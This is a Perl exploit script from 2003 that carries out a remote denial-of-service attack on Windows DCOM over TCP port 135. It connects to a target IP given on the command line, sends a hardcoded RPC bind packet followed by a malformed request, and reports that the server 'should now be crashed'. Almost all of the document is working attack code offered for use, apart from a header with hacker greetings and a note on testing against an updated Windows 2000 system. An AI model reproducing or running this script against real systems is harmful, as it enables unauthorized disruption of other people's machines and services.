#!/usr/bin/perl -w # ================================================================ # Microsoft Windows DCOM Remote DOS # By: Knight420 # 07/24/03 # # [Tested] # Win2kPro with full updates caused the machine to need a reboot! # # [DCOM] # The Distributed Component Object Model (DCOM) is a protocol # that enables software components to communicate directly over a # network in a reliable, secure, and efficient manner. Previously # called "Network OLE," DCOM is designed for use across multiple # network transports, including Internet protocols such as HTTP. # DCOM is based on the Open Software Foundation's DCE-RPC spec # and will work with both Java applets and ActiveX?components # through its use of the Component Object Model (COM). # # !W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T! # # Gr33tz to: sorbo #open #darkircop # # (C) COPYRIGHT Blue Ballz , 2003 # all rights reserved # ================================================================ use IO::Socket; if ($#ARGV<0) { system('clear '); printf "\n***********************************************"; print "\nMicrosoft Windows DCOM Remote DoS by: Knight420"; printf "\n***********************************************"; print "\n Usage: perl dcomx.pl ip\n"; exit; } $bind = ("\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"); $own = ("\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00"); $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", PeerPort=>"135"); unless ($connect) { die "Cannot connect to host $ARGV[0]" } system('clear '); printf "\n***********************************************"; printf "\nMicrosoft Windows DCOM Remote DoS by: Knight420"; printf "\n***********************************************"; printf "\n*** [1] Server is up..."; printf "\n*** [2] Sending our elite code..."; print $connect "$bind"; print $connect "$own"; printf "\n*** [3] Server should now be crashed\n"; close($connect);